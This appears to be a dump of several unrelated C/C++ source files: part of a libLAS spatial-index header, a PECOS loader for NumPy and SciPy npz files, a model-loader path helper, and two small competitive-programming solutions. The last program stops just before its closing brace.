double LowFilterZ, double HighFilterZ, boost::uint32_t ChunkSize);
IndexIterator* Filter(Bounds<double> const& BoundsSrc, boost::uint32_t ChunkSize);
// Return the bounds of the current Index
double GetMinX(void) const {return (m_bounds.min)(0);}
double GetMaxX(void) const {return (m_bounds.max)(0);}
double GetMinY(void) const {return (m_bounds.min)(1);}
double GetMaxY(void) const {return (m_bounds.max)(1);}
double GetMinZ(void) const {return (m_bounds.min)(2);}
double GetMaxZ(void) const {return (m_bounds.max)(2);}
// Ranges are updated when an index is built or the index header VLR read
double GetRangeX(void) const {return m_rangeX;}
double GetRangeY(void) const {return m_rangeY;}
double GetRangeZ(void) const {return m_rangeZ;}
Bounds<double> const& GetBounds(void) const {return m_bounds;}
// Return the number of points used to build the Index
boost::uint32_t GetPointRecordsCount(void) const {return m_pointRecordsCount;}
// Return the number of cells in the Index
boost::uint32_t GetCellsX(void) const {return m_cellsX;}
boost::uint32_t GetCellsY(void) const {return m_cellsY;}
// Return the number of Z-dimension cells in the Index. Value is 1 if no Z-cells were created during Index building
boost::uint32_t GetCellsZ(void) const {return m_cellsZ;}
// 42 is the ID for the Index header VLR and 43 is the normal ID for the Index data VLR's
// For future expansion, multiple indexes could assign data VLR ID's of their own choosing
boost::uint32_t GetDataVLR_ID(void) const {return m_DataVLR_ID;}
// Since the user can define a Z cell size it is useful to examine that for an existing index
double GetCellSizeZ(void) const {return m_cellSizeZ;}
// Return values used in building or examining index
FILE *GetDebugger(void) const {return m_debugger;}
bool GetReadOnly(void) const {return m_readOnly;}
bool GetStandaloneIndex(void) const {return m_writestandaloneindex;}
bool GetForceNewIndex(void) const {return m_forceNewIndex;}
boost::uint32_t GetMaxMemoryUsage(void) const {return m_maxMemoryUsage;}
int GetDebugOutputLevel(void) const {return m_debugOutputLevel;}
// Not sure if these are more useful than dangerous
Header *GetPointHeader(void) {return &m_pointheader;}
Header *GetIndexHeader(void) {return &m_idxheader;}
Reader *GetReader(void) const {return m_reader;}
Reader *GetIndexReader(void) const {return m_idxreader;}
const char *GetTempFileName(void) const {return m_tempFileName.c_str();}
// Returns the strings set in the index when built
const char *GetIndexAuthorStr(void) const;
const char *GetIndexCommentStr(void) const;
const char *GetIndexDateStr(void) const;
boost::uint8_t GetVersionMajor(void) const {return m_versionMajor;}
boost::uint8_t GetVersionMinor(void) const {return m_versionMinor;}
// Methods for setting values used when reading index from file to facilitate moving reading function into
// separate IndexInput object at a future time to provide symmetry with IndexOutput
void SetDataVLR_ID(boost::uint32_t DataVLR_ID) {m_DataVLR_ID = DataVLR_ID;}
void SetIndexAuthorStr(const char *ias) {m_indexAuthor = ias;}
void SetIndexCommentStr(const char *ics) {m_indexComment = ics;}
void SetIndexDateStr(const char *ids) {m_indexDate = ids;}
void SetMinX(double minX) {(m_bounds.min)(0, minX);}
void SetMaxX(double maxX) {(m_bounds.max)(0, maxX);}
void SetMinY(double minY) {(m_bounds.min)(1, minY);}
void SetMaxY(double maxY) {(m_bounds.max)(1, maxY);}
void SetMinZ(double minZ) {(m_bounds.min)(2, minZ);}
void SetMaxZ(double maxZ) {(m_bounds.max)(2, maxZ);}
void SetPointRecordsCount(boost::uint32_t prc) {m_pointRecordsCount = prc;}
void SetCellsX(boost::uint32_t cellsX) {m_cellsX = cellsX;}
void SetCellsY(boost::uint32_t cellsY) {m_cellsY = cellsY;}
void SetCellsZ(boost::uint32_t cellsZ) {m_cellsZ = cellsZ;}
};
// IndexData is used to pass attributes to and from the Index itself.
// How it is initialized determines what action is taken when an Index object is instantiated with the IndexData.
// The choices are:
// a) Build an index for an las file
// 1) std::ostream *ofs must be supplied as well as std::istream *ifs or Reader *reader and a full file path
// for writing a temp file, const char *tmpfilenme.
// b) Examine an index for an las file
// 1) std::istream *ifs or Reader *reader must be supplied for the LAS file containing the point data
// 2) if the index to be read is in a standalone file then Reader *idxreader must also be supplied
// Options for building are
// a) build a new index even if an old one exists, overwriting the old one
// 1) forcenewindex must be true
// 2) std::ostream *ofs must be a valid ostream where there is storage space for the desired output
// b) only build an index if none exists
// 1) forcenewindex must be false
// 2) std::ostream *ofs must be a valid ostream where there is storage space for the desired output
// c) do not build a new index under any circumstances
// 1) readonly must be true
// Location of the index can be specified
// a) build the index within the las file VLR structure
// 1) writestandaloneindex must be false
// 2) std::ostream *ofs must be a valid ostream where there is storage space for a full copy
// of the LAS file plus the new index which is typically less than 5% of the original file size
// b) build a stand-alone index outside the las file
// 1) writestandaloneindex must be true
// 2) std::ostream *ofs must be a valid ostream where there is storage space for the new index
// which is typically less than 5% of the original file size
// How the index is built is determined also by members of the IndexData class object.
// Options include:
// a) control the maximum memory used during the build process
// 1) pass a value for maxmem in bytes greater than 0. 0 resolves to default LIBLAS_INDEX_MAXMEMDEFAULT.
// b) debug messages generated during index creation or filtering. The higher the number, the more messages.
// 0) no debug reports
// 1) general info messages
// 2) status messages
// 3) cell statistics
// 4) progress status
// c) where debug messages are sent
// 1) default is stderr
// d) control the creation of z-dimensional cells and what z cell size to use
// 1) to turn on z-dimensional binning, use a value larger than 0 for zbinht
// e) data can be stored in index header for later use in recognizing the index.
// 1) Index author indexauthor - provided by author at time of creation
// 2) Index comment indexcomment - provided by author at time of creation
// 3) Index creation date indexdate - provided by author at time of creation
// The fields are not validated in any way by the index building code and are just three fields
// which can be used as the user sees fit. Maximum length is LIBLAS_INDEX_MAXSTRLEN - 1.
// Once an index is built, or if an index already exists, the IndexData can be configured
// to define the bounds of a filter operation. Any dimension whose bounds pair are equal will
// be disregarded for the purpose of filtering. Filtering on the Z axis can still be performed even if the
// index was not built with Z cell sorting. Bounds must be defined in the same units and coordinate
// system that a liblas::Header returns with the commands GetMin{X|Y|Z} and a liblas::Point returns with
// Get{X|Y|Z}
class LAS_DLL IndexData
{
friend class Index;
friend class IndexIterator;
public:
IndexData(void);
IndexData(Index const& index);
// use one of these methods to configure the IndexData with the values needed for specific tasks
// one comprehensive method to set all the values used in index initialization
bool SetInitialValues(std::istream *ifs = 0, Reader *reader = 0, std::ostream *ofs = 0, Reader *idxreader = 0,
const char *tmpfilenme = 0, const char *indexauthor = 0,
const char *indexcomment = 0, const char *indexdate = 0, double zbinht = 0.0,
boost::uint32_t maxmem = LIBLAS_INDEX_MAXMEMDEFAULT, int debugoutputlevel = 0, bool readonly = 0,
bool writestandaloneindex = 0, bool forcenewindex = 0, FILE *debugger = 0);
// set the values needed for building an index embedded in existing las file, overriding any existing index
bool SetBuildEmbedValues(Reader *reader, std::ostream *ofs, const char *tmpfilenme, const char *indexauthor = 0,
const char *indexcomment = 0, const char *indexdate = 0, double zbinht = 0.0,
boost::uint32_t maxmem = LIBLAS_INDEX_MAXMEMDEFAULT, int debugoutputlevel = 0, FILE *debugger = 0);
// set the values needed for building an index in a standalone file, overriding any existing index
bool SetBuildAloneValues(Reader *reader, std::ostream *ofs, const char *tmpfilenme, const char *indexauthor = 0,
const char *indexcomment = 0, const char *indexdate = 0, double zbinht = 0.0,
boost::uint32_t maxmem = LIBLAS_INDEX_MAXMEMDEFAULT, int debugoutputlevel = 0, FILE *debugger = 0);
// set the values needed for filtering with an existing index in an las file
bool SetReadEmbedValues(Reader *reader, int debugoutputlevel = 0, FILE *debugger = 0);
// set the values needed for filtering with an existing index in a standalone file
bool SetReadAloneValues(Reader *reader, Reader *idxreader, int debugoutputlevel = 0, FILE *debugger = 0);
// set the values needed for building an index embedded in existing las file only if no index already exists
// otherwise, prepare the existing index for filtering
bool SetReadOrBuildEmbedValues(Reader *reader, std::ostream *ofs, const char *tmpfilenme, const char *indexauthor = 0,
const char *indexcomment = 0, const char *indexdate = 0, double zbinht = 0.0,
boost::uint32_t maxmem = LIBLAS_INDEX_MAXMEMDEFAULT, int debugoutputlevel = 0, FILE *debugger = 0);
// set the values needed for building an index in a standalone file only if no index already exists in the las file
// otherwise, prepare the existing index for filtering
bool SetReadOrBuildAloneValues(Reader *reader, std::ostream *ofs, const char *tmpfilenme, const char *indexauthor = 0,
const char *indexcomment = 0, const char *indexdate = 0, double zbinht = 0.0,
boost::uint32_t maxmem = LIBLAS_INDEX_MAXMEMDEFAULT, int debugoutputlevel = 0, FILE *debugger = 0);
// set the bounds for use in filtering
bool SetFilterValues(double LowFilterX, double HighFilterX, double LowFilterY, double HighFilterY, double LowFilterZ, double HighFilterZ,
Index const& index);
bool SetFilterValues(Bounds<double> const& src, Index const& index);
/// Copy constructor.
IndexData(IndexData const& other);
/// Assignment operator.
IndexData& operator=(IndexData const& rhs);
private:
void SetValues(void);
bool CalcFilterEnablers(void);
void Copy(IndexData const& other);
protected:
Reader *m_reader;
Reader *m_idxreader;
IndexIterator *m_iterator;
Bounds<double> m_filter;
std::istream *m_ifs;
std::ostream *m_ofs;
const char *m_tempFileName;
const char *m_indexAuthor;
const char *m_indexComment;
const char *m_indexDate;
double m_cellSizeZ;
double m_LowXBorderPartCell, m_HighXBorderPartCell, m_LowYBorderPartCell, m_HighYBorderPartCell;
boost::int32_t m_LowXCellCompletelyIn, m_HighXCellCompletelyIn, m_LowYCellCompletelyIn, m_HighYCellCompletelyIn,
m_LowZCellCompletelyIn, m_HighZCellCompletelyIn;
boost::int32_t m_LowXBorderCell, m_HighXBorderCell, m_LowYBorderCell, m_HighYBorderCell,
m_LowZBorderCell, m_HighZBorderCell;
boost::uint32_t m_maxMemoryUsage;
int m_debugOutputLevel;
bool m_noFilterX, m_noFilterY, m_noFilterZ, m_readOnly, m_writestandaloneindex, m_forceNewIndex, m_indexValid;
FILE *m_debugger;
void SetIterator(IndexIterator *setIt) {m_iterator = setIt;}
IndexIterator *GetIterator(void) {return(m_iterator);}
public:
double GetCellSizeZ(void) const {return m_cellSizeZ;}
FILE *GetDebugger(void) const {return m_debugger;}
bool GetReadOnly(void) const {return m_readOnly;}
bool GetStandaloneIndex(void) const {return m_writestandaloneindex;}
bool GetForceNewIndex(void) const {return m_forceNewIndex;}
boost::uint32_t GetMaxMemoryUsage(void) const {return m_maxMemoryUsage;}
Reader *GetReader(void) const {return m_reader;}
int GetDebugOutputLevel(void) const {return m_debugOutputLevel;}
const char *GetTempFileName(void) const {return m_tempFileName;}
const char *GetIndexAuthorStr(void) const;
const char *GetIndexCommentStr(void) const;
const char *GetIndexDateStr(void) const;
double GetMinFilterX(void) const {return (m_filter.min)(0);}
double GetMaxFilterX(void) const {return (m_filter.max)(0);}
double GetMinFilterY(void) const {return (m_filter.min)(1);}
double GetMaxFilterY(void) const {return (m_filter.max)(1);}
double GetMinFilterZ(void) const {return (m_filter.min)(2);}
double GetMaxFilterZ(void) const {return (m_filter.max)(2);}
void ClampFilterBounds(Bounds<double> const& m_bounds);
void SetReader(Reader *reader) {m_reader = reader;}
void SetIStream(std::istream *ifs) {m_ifs = ifs;}
void SetOStream(std::ostream *ofs) {m_ofs = ofs;}
void SetTmpFileName(const char *tmpfilenme) {m_tempFileName = tmpfilenme;}
void SetIndexAuthor(const char *indexauthor) {m_indexAuthor = indexauthor;}
void SetIndexComment(const char *indexcomment) {m_indexComment = indexcomment;}
void SetIndexDate(const char *indexdate) {m_indexDate = indexdate;}
void SetCellSizeZ(double cellsizez) {m_cellSizeZ = cellsizez;}
void SetMaxMem(boost::uint32_t maxmem) {m_maxMemoryUsage = maxmem;}
void SetDebugOutputLevel(int debugoutputlevel) {m_debugOutputLevel = debugoutputlevel;}
void SetReadOnly(bool readonly) {m_readOnly = readonly;}
void SetStandaloneIndex(bool writestandaloneindex) {m_writestandaloneindex = writestandaloneindex;}
void SetDebugger(FILE *debugger) {m_debugger = debugger;}
};
class LAS_DLL IndexIterator
{
friend class Index;
protected:
IndexData m_indexData;
Index *m_index;
boost::uint32_t m_chunkSize, m_advance;
boost::uint32_t m_curVLR, m_curCellStartPos, m_curCellX, m_curCellY, m_totalPointsScanned, m_ptsScannedCurCell,
m_ptsScannedCurVLR;
boost::uint32_t m_conformingPtsFound;
public:
IndexIterator(Index *IndexSrc, double LowFilterX, double HighFilterX, double LowFilterY, double HighFilterY,
double LowFilterZ, double HighFilterZ, boost::uint32_t ChunkSize);
IndexIterator(Index *IndexSrc, IndexData const& IndexDataSrc, boost::uint32_t ChunkSize);
IndexIterator(Index *IndexSrc, Bounds<double> const& BoundsSrc, boost::uint32_t ChunkSize);
/// Copy constructor.
IndexIterator(IndexIterator const& other);
/// Assignment operator.
IndexIterator& operator=(IndexIterator const& rhs);
private:
void Copy(IndexIterator const& other);
void ResetPosition(void);
boost::uint8_t MinMajorVersion(void) {return(1);};
boost::uint8_t MinMinorVersion(void) {return(2);};
public:
/// n=0 or n=1 gives next sequence with no gap, n>1 skips n-1 filter-compliant points, n<0 jumps backwards n compliant points
const std::vector<boost::uint32_t>& advance(boost::int32_t n);
/// returns filter-compliant points as though the first point returned is element n in a zero-based array
const std::vector<boost::uint32_t>& operator()(boost::int32_t n);
/// returns next set of filter-compliant points with no skipped points
inline const std::vector<boost::uint32_t>& operator++() {return (advance(1));}
/// returns next set of filter-compliant points with no skipped points
inline const std::vector<boost::uint32_t>& operator++(int) {return (advance(1));}
/// returns set of filter-compliant points skipping backwards 1 from the end of the last set
inline const std::vector<boost::uint32_t>& operator--() {return (advance(-1));}
/// returns set of filter-compliant points skipping backwards 1 from the end of the last set
inline const std::vector<boost::uint32_t>& operator--(int) {return (advance(-1));}
/// returns next set of filter-compliant points with n-1 skipped points, for n<0 acts like -=()
inline const std::vector<boost::uint32_t>& operator+=(boost::int32_t n) {return (advance(n));}
/// returns next set of filter-compliant points with n-1 skipped points, for n<0 acts like -()
inline const std::vector<boost::uint32_t>& operator+(boost::int32_t n) {return (advance(n));}
/// returns set of filter-compliant points beginning n points backwards from the end of the last set, for n<0 acts like +=()
inline const std::vector<boost::uint32_t>& operator-=(boost::int32_t n) {return (advance(-n));}
/// returns set of filter-compliant points beginning n points backwards from the end of the last set, for n<0 acts like +()
inline const std::vector<boost::uint32_t>& operator-(boost::int32_t n) {return (advance(-n));}
/// returns filter-compliant points as though the first point returned is element n in a zero-based array
inline const std::vector<boost::uint32_t>& operator[](boost::int32_t n) {return ((*this)(n));}
/// tests viability of index for filtering with iterator
bool ValidateIndexVersion(boost::uint8_t VersionMajor, boost::uint8_t VersionMinor) {return (VersionMajor > MinMajorVersion() || (VersionMajor == MinMajorVersion() && VersionMinor >= MinMinorVersion()));};
};
template <typename T, typename Q>
inline void ReadVLRData_n(T& dest, IndexVLRData const& src, Q& pos)
{
// error if reading past array end
if (static_cast<size_t>(pos) + sizeof(T) > src.size())
throw std::out_of_range("liblas::detail::ReadVLRData_n: array index out of range");
// copy sizeof(T) bytes to destination
memcpy(&dest, &src[pos], sizeof(T));
// Fix little-endian
LIBLAS_SWAP_BYTES_N(dest, sizeof(T));
// increment the write position to end of written data
pos = pos + static_cast<Q>(sizeof(T));
}
template <typename T, typename Q>
inline void ReadVLRDataNoInc_n(T& dest, IndexVLRData const& src, Q const& pos)
{
// error if reading past array end
if (static_cast<size_t>(pos) + sizeof(T) > src.size())
throw std::out_of_range("liblas::detail::ReadVLRDataNoInc_n: array index out of range");
// copy sizeof(T) bytes to destination
memcpy(&dest, &src[pos], sizeof(T));
// Fix little-endian
LIBLAS_SWAP_BYTES_N(dest, sizeof(T));
}
template <typename T, typename Q>
inline void ReadeVLRData_str(char * dest, IndexVLRData const& src, T const srclen, Q& pos)
{
// error if reading past array end
if (static_cast<size_t>(pos) + static_cast<size_t>(srclen) > src.size())
throw std::out_of_range("liblas::detail::ReadeVLRData_str: array index out of range");
// copy srclen bytes to destination
memcpy(dest, &src[pos], srclen);
// increment the write position to end of written data
pos = pos + static_cast<Q>(srclen);
}
template <typename T, typename Q>
inline void ReadVLRDataNoInc_str(char * dest, IndexVLRData const& src, T const srclen, Q pos)
{
// error if reading past array end
if (static_cast<size_t>(pos) + static_cast<size_t>(srclen) > src.size())
throw std::out_of_range("liblas::detail::ReadVLRDataNoInc_str: array index out of range");
// copy srclen bytes to destination
std::memcpy(dest, &src[pos], srclen);
}
} // namespace liblas
#endif // LIBLAS_LASINDEX_HPP_INCLUDED
| 30,780 | 10,127 |
/*
* Copyright 2021 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance
* with the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0/
*
* or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES
* OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions
* and limitations under the License.
*/
#ifndef __SCIPY_LOADER_H__
#define __SCIPY_LOADER_H__
#include <algorithm>
#include <cstring>
#include <unordered_map>
#include <vector>
#include "utils/file_util.hpp"
namespace pecos {
//https://numpy.org/devdocs/reference/generated/numpy.lib.format.html
template<typename T>
class NpyArray {
public:
typedef T value_type;
typedef std::vector<value_type> array_t;
typedef std::vector<uint64_t> shape_t;
shape_t shape;
array_t array;
size_t num_elements;
bool fortran_order;
NpyArray() {}
NpyArray(const std::string& filename, uint64_t offset=0) { load(filename, offset); }
NpyArray(const std::vector<uint64_t>& shape, value_type default_value=0) { resize(shape, default_value); }
/* load an NpyArry<T> starting from the `offset`-th byte in the file with `filename` */
NpyArray<T>& load(const std::string& filename, uint64_t offset=0) {
//https://numpy.org/devdocs/reference/generated/numpy.lib.format.html
FILE *fp = fopen(filename.c_str(), "rb");
fseek(fp, offset, SEEK_SET);
// check magic string
std::vector<uint8_t> magic = {0x93u, 'N', 'U', 'M', 'P', 'Y'};
for(size_t i = 0; i < magic.size(); i++) {
if (pecos::file_util::fget_one<uint8_t>(fp) != magic[i]) {
throw std::runtime_error("file is not a valid NpyFile");
}
}
// load version
uint8_t major_version = pecos::file_util::fget_one<uint8_t>(fp);
uint8_t minor_version = pecos::file_util::fget_one<uint8_t>(fp);
// load header len
uint64_t header_len;
if(major_version == 1) {
header_len = pecos::file_util::fget_one<uint16_t>(fp);
} else if (major_version == 2) {
header_len = pecos::file_util::fget_one<uint32_t>(fp);
} else {
throw std::runtime_error("unsupported NPY major version");
}
if(minor_version != 0) {
throw std::runtime_error("unsupported NPY minor version");
}
// load header
std::vector<char> header(header_len + 1, (char) 0);
pecos::file_util::fget_multiple<char>(&header[0], header_len, fp);
char endian_code, type_code;
uint32_t word_size;
std::string dtype;
this->parse_header(header, endian_code, type_code, word_size, dtype);
// load array content
this->load_content(fp, word_size, dtype);
fclose(fp);
return *this;
}
void resize(const std::vector<uint64_t>& new_shape, value_type default_value=value_type()) {
shape = new_shape;
size_t num_elements = 1;
for(auto& dim : shape) {
num_elements *= dim;
}
array.resize(num_elements);
std::fill(array.begin(), array.end(), default_value);
}
size_t ndim() const { return shape.size(); }
size_t size() const { return num_elements; }
value_type* data() { return &array[0]; }
value_type& at(size_t idx) { return array[idx]; }
const value_type& at(size_t idx) const { return array[idx]; }
value_type& operator[](size_t idx) { return array[idx]; }
const value_type& operator[](size_t idx) const { return array[idx]; }
private:
void parse_header(const std::vector<char>& header, char& endian_code, char& type_code, uint32_t& word_size, std::string& dtype) {
char value_buffer[1024] = {0};
const char* header_cstr = &header[0];
// parse descr in a str form
if(1 != sscanf(strstr(header_cstr, "'descr'"), "'descr': '%[^']' ", value_buffer)) {
throw std::runtime_error("invalid NPY header (descr)");
}
dtype = std::string(value_buffer);
if(3 != sscanf(value_buffer, "%c%c%u", &endian_code, &type_code, &word_size)) {
throw std::runtime_error("invalid NPY header (descr parse)");
}
// parse fortran_order in a boolean form [False, True]
if(1 != sscanf(strstr(header_cstr, "'fortran_order'"), "'fortran_order': %[FalseTrue] ", value_buffer)) {
throw std::runtime_error("invalid NPY header (fortran_order)");
}
this->fortran_order = std::string(value_buffer) == "True";
// parse shape in a tuple form
if (0 > sscanf(strstr(header_cstr, "'shape'"), "'shape': (%[^)]) ", value_buffer)) {
throw std::runtime_error("invalid NPY header (shape)");
}
char *ptr = &value_buffer[0];
int offset;
uint64_t dim;
num_elements = 1;
shape.clear();
while(sscanf(ptr, "%lu, %n", &dim, &offset) == 1) {
ptr += offset;
shape.push_back(dim);
num_elements *= dim;
}
// handle the case with single element case: shape=()
if(shape.size() == 0 && num_elements == 1) {
shape.push_back(1);
}
}
template<typename U=value_type, typename std::enable_if<std::is_arithmetic<U>::value, U>::type* = nullptr>
void load_content(FILE *fp, uint32_t& word_size, const std::string& dtype) {
array.resize(num_elements);
auto type_code = dtype.substr(1);
#define IF_CLAUSE_FOR(np_type_code, c_type) \
if(type_code == np_type_code) { \
bool byte_swap = pecos::file_util::different_from_runtime(dtype[0]); \
size_t batch_size = 32768; \
std::vector<c_type> batch(batch_size); \
for(size_t i = 0; i < num_elements; i += batch_size) { \
size_t num = std::min(batch_size, num_elements - i); \
pecos::file_util::fget_multiple<c_type>(batch.data(), num, fp, byte_swap); \
for(size_t b = 0; b < num; b++) { \
array[i + b] = static_cast<value_type>(batch[b]); \
} \
} \
}
IF_CLAUSE_FOR("f4", float)
else IF_CLAUSE_FOR("f8", double)
else IF_CLAUSE_FOR("f16", long double)
else IF_CLAUSE_FOR("i1", int8_t)
else IF_CLAUSE_FOR("i2", int16_t)
else IF_CLAUSE_FOR("i4", int32_t)
else IF_CLAUSE_FOR("i8", int64_t)
else IF_CLAUSE_FOR("u1", uint8_t)
else IF_CLAUSE_FOR("u2", uint16_t)
else IF_CLAUSE_FOR("u4", uint32_t)
else IF_CLAUSE_FOR("u8", uint64_t)
else IF_CLAUSE_FOR("b1", uint8_t)
#undef IF_CLAUSE_FOR
}
template<typename U=value_type, typename std::enable_if<std::is_same<value_type, std::basic_string<typename U::value_type>>::value, U>::type* = nullptr>
void load_content(FILE *fp, const uint32_t& word_size, const std::string& dtype) {
array.resize(num_elements);
auto type_code = dtype[1];
#define IF_CLAUSE_FOR(np_type_code, c_type, char_size) \
if(type_code == np_type_code) { \
std::vector<c_type> char_buffer(word_size); \
bool byte_swap = pecos::file_util::different_from_runtime(dtype[0]); \
for(size_t i = 0; i < num_elements; i++) { \
pecos::file_util::fget_multiple<c_type>(&char_buffer[0], word_size, fp, byte_swap); \
array[i] = value_type(reinterpret_cast<typename T::value_type*>(&char_buffer[0]), word_size * char_size); \
} \
}
// numpy uses UCS4 to encode unicode https://numpy.org/devdocs/reference/c-api/dtype.html?highlight=ucs4
IF_CLAUSE_FOR('U', char32_t, 4)
else IF_CLAUSE_FOR('S', char, 1)
#undef IF_CLAUSE_FOR
}
};
class ReadOnlyZipArchive {
private:
struct FileInfo {
std::string name;
uint64_t offset_of_content;
uint64_t offset_of_header;
uint64_t uncompressed_size;
uint64_t compressed_size;
uint16_t compression_method;
uint32_t signature;
uint16_t version;
uint16_t bit_flag;
uint16_t last_modified_time;
uint16_t last_modified_date;
uint32_t crc_32;
FileInfo() {}
static bool valid_start(FILE *fp) {
return pecos::file_util::fpeek<uint32_t>(fp) == 0x04034b50; // local header
}
// https://en.wikipedia.org/wiki/Zip_(file_format)#ZIP64
// https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT
static FileInfo get_one_from(FILE *fp) {
// ReadOnlyZipArchive always uses little endian
bool byte_swap = pecos::file_util::different_from_runtime('<');
FileInfo info;
info.offset_of_header = ftell(fp);
info.signature = pecos::file_util::fget_one<uint32_t>(fp, byte_swap);
info.version = pecos::file_util::fget_one<uint16_t>(fp, byte_swap);
info.bit_flag = pecos::file_util::fget_one<uint16_t>(fp, byte_swap);
info.compression_method = pecos::file_util::fget_one<uint16_t>(fp, byte_swap);
info.last_modified_time = pecos::file_util::fget_one<uint16_t>(fp, byte_swap);
info.last_modified_date = pecos::file_util::fget_one<uint16_t>(fp, byte_swap);
info.crc_32 = pecos::file_util::fget_one<uint32_t>(fp, byte_swap);
if(info.compression_method != 0) {
throw std::runtime_error("only uncompressed zip archive is supported.");
}
info.compressed_size = pecos::file_util::fget_one<uint32_t>(fp, byte_swap);
info.uncompressed_size = pecos::file_util::fget_one<uint32_t>(fp, byte_swap);
auto filename_length = pecos::file_util::fget_one<uint16_t>(fp, byte_swap);
auto extra_field_length = pecos::file_util::fget_one<uint16_t>(fp, byte_swap);
std::vector<char> filename(filename_length, (char)0);
std::vector<char> extra_field(extra_field_length, (char)0);
pecos::file_util::fget_multiple<char>(&filename[0], filename_length, fp, byte_swap);
pecos::file_util::fget_multiple<char>(&extra_field[0], extra_field_length, fp, byte_swap);
info.name = std::string(&filename[0], filename_length);
info.offset_of_content = ftell(fp);
// handle zip64 extra field to obtain proper size information
uint64_t it = 0;
while(it < extra_field.size()) {
uint16_t header_id = *reinterpret_cast<uint16_t*>(&extra_field[it]);
it += sizeof(header_id);
uint16_t data_size = *reinterpret_cast<uint16_t*>(&extra_field[it]);
it += sizeof(data_size);
if(header_id == 0x0001) { // zip64 extended information in extra field
info.uncompressed_size = *reinterpret_cast<uint64_t*>(&extra_field[it]);
info.compressed_size = *reinterpret_cast<uint64_t*>(&extra_field[it + sizeof(info.uncompressed_size)]);
}
it += data_size;
}
// skip the actual content
fseek(fp, info.compressed_size, SEEK_CUR);
// skip the data descriptor if bit 3 of the general purpose bit flag is set
if (info.bit_flag & 8) {
fseek(fp, 12, SEEK_CUR);
}
return info;
}
};
std::vector<FileInfo> file_info_array;
std::unordered_map<std::string, FileInfo*> mapping;
public:
ReadOnlyZipArchive(const std::string& zip_name) {
FILE *fp = fopen(zip_name.c_str(), "rb");
while(FileInfo::valid_start(fp)) {
file_info_array.emplace_back(FileInfo::get_one_from(fp));
}
fclose(fp);
for(auto& file : file_info_array) {
mapping[file.name] = &file;
}
}
FileInfo& operator[](const std::string& name) { return *mapping.at(name); }
const FileInfo& operator[](const std::string& name) const { return *mapping.at(name); }
};
template<bool IsCsr, typename DataT, typename IndicesT = uint32_t, typename IndptrT = uint64_t, typename ShapeT = uint64_t>
struct ScipySparseNpz {
NpyArray<IndicesT> indices;
NpyArray<IndptrT> indptr;
NpyArray<DataT> data;
NpyArray<ShapeT> shape;
NpyArray<std::string> format;
ScipySparseNpz() {}
ScipySparseNpz(const std::string& npz_filepath) { load(npz_filepath); }
uint64_t size() const { return data.size(); }
uint64_t rows() const { return shape[0]; }
uint64_t cols() const { return shape[1]; }
uint64_t nnz() const { return data.size(); }
void load(const std::string& npz_filepath) {
auto npz = ReadOnlyZipArchive(npz_filepath);
format.load(npz_filepath, npz["format.npy"].offset_of_content);
if(IsCsr && format[0] != "csr") {
throw std::runtime_error(npz_filepath + " is not a valid scipy CSR npz");
} else if (!IsCsr && format[0] != "csc") {
throw std::runtime_error(npz_filepath + " is not a valid scipy CSC npz");
}
indices.load(npz_filepath, npz["indices.npy"].offset_of_content);
data.load(npz_filepath, npz["data.npy"].offset_of_content);
indptr.load(npz_filepath, npz["indptr.npy"].offset_of_content);
shape.load(npz_filepath, npz["shape.npy"].offset_of_content);
}
void fill_ones(size_t rows, size_t cols) {
shape.resize({2});
shape[0] = rows;
shape[1] = cols;
uint64_t nnz = rows * cols;
data.resize({nnz}, DataT(1));
indices.resize({nnz});
format.resize({1});
if(IsCsr) {
format[0] = "csr";
indptr.resize({rows + 1});
for(size_t r = 0; r < rows; r++) {
for(size_t c = 0; c < cols; c++) {
indices[r * cols + c] = c;
}
indptr[r + 1] = indptr[r] + cols;
}
} else {
format[0] = "csc";
indptr.resize({cols + 1});
for(size_t c = 0; c < cols; c++) {
for(size_t r = 0; r < rows; r++) {
indices[c * rows + r] = r;
}
indptr[c + 1] = indptr[c] + rows;
}
}
}
};
} // end namespace pecos
#endif // end of __SCIPY_LOADER_H__
| 14,615 | 5,046 |
#include"../../BaseIncluder/ChBase.h"
#include"../ChTextObject/ChTextObject.h"
#include"../ChModel/ChModelObject.h"
#include"ChModelLoader.h"
///////////////////////////////////////////////////////////////////////////////////////
//ChModelLoader Method//
///////////////////////////////////////////////////////////////////////////////////////
void ChCpp::ModelLoaderBase::Init(ModelObject* _model)
{
oModel = _model;
}
///////////////////////////////////////////////////////////////////////////////////////
void ChCpp::ModelLoaderBase::SetModel(ChPtr::Shared<ModelFrame> _models)
{
oModel->model = _models;
}
///////////////////////////////////////////////////////////////////////////////////////
std::string ChCpp::ModelLoaderBase::GetRoutePath(const std::string& _filePath)
{
if (_filePath.find("\\") == _filePath.find("/"))return "";
std::string tmpPath = ChStr::StrReplase(_filePath, "\\", "/");
unsigned long tmp = tmpPath.rfind("/");
return tmpPath.substr(0, tmp + 1);
}
| 996 | 277 |
/*Finding common elements between two arrays in which the elements are distinct.
Eg:
1 2 3 4 5 12 8
6 7 3 4 2 9 11
1 2 3 4 5 8 12
2 3 4 6 7 9 11
O/P:
2 3 4
*/
#include<algorithm>
#include<iostream>
#include<vector>
using namespace std;
int main(int argc, char const *argv[])
{
int n1,n2,a;
cin>>n1;
vector<int> v1,v2,v3;
for(int i=0;i<n1;i++)
{ cin>>a;
v1.push_back(a);
}
cin>>n2;
for(int i=0;i<n2;i++)
{
cin>>a;
v2.push_back(a);
}
sort(v1.begin(),v1.end());
sort(v2.begin(),v2.end());
// Two Pointer Method
int j=0,k=0;
while(j<v1.size() && k<v2.size())
{
if(v1[j]==v2[k])
{
v3.push_back(v1[j]);
j++;
k++;
}
else if(v1[j]<v2[k])
j++;
else
k++;
}
for(int i:v3)
cout<<i<<" ";
return 0;
}
| 916 | 428 |
#include <bits/stdc++.h>
int main()
{
int n, l, c; scanf("%d %d %d\n", &n, &l, &c);
int wordsSize[n], inLine = 0, lines = 1, pages = 1, first = 1;
char words[n][c + 1];
for (int i = 0; i < n; i ++)
{
scanf("%s", words[i]); getchar();
wordsSize[i] = strlen(words[i]);
inLine += (!first) + wordsSize[i];
first = 0;
if (inLine > c)
{
inLine = wordsSize[i];
first = 0;
lines ++;
}
if (lines > l)
{
lines = 1;
pages ++;
}
}
printf("%d\n", pages);
return(0);
